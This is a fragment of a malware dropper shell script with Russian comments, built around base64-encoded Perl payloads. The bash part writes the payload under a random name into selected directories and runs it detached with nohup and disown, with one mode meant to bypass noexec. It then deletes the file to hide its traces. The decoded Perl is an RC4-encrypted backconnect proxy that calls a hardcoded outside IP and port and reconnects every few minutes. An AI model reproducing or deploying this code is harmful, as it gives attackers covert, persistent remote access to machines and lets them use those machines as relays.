NvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_e1c5184c() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjUnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0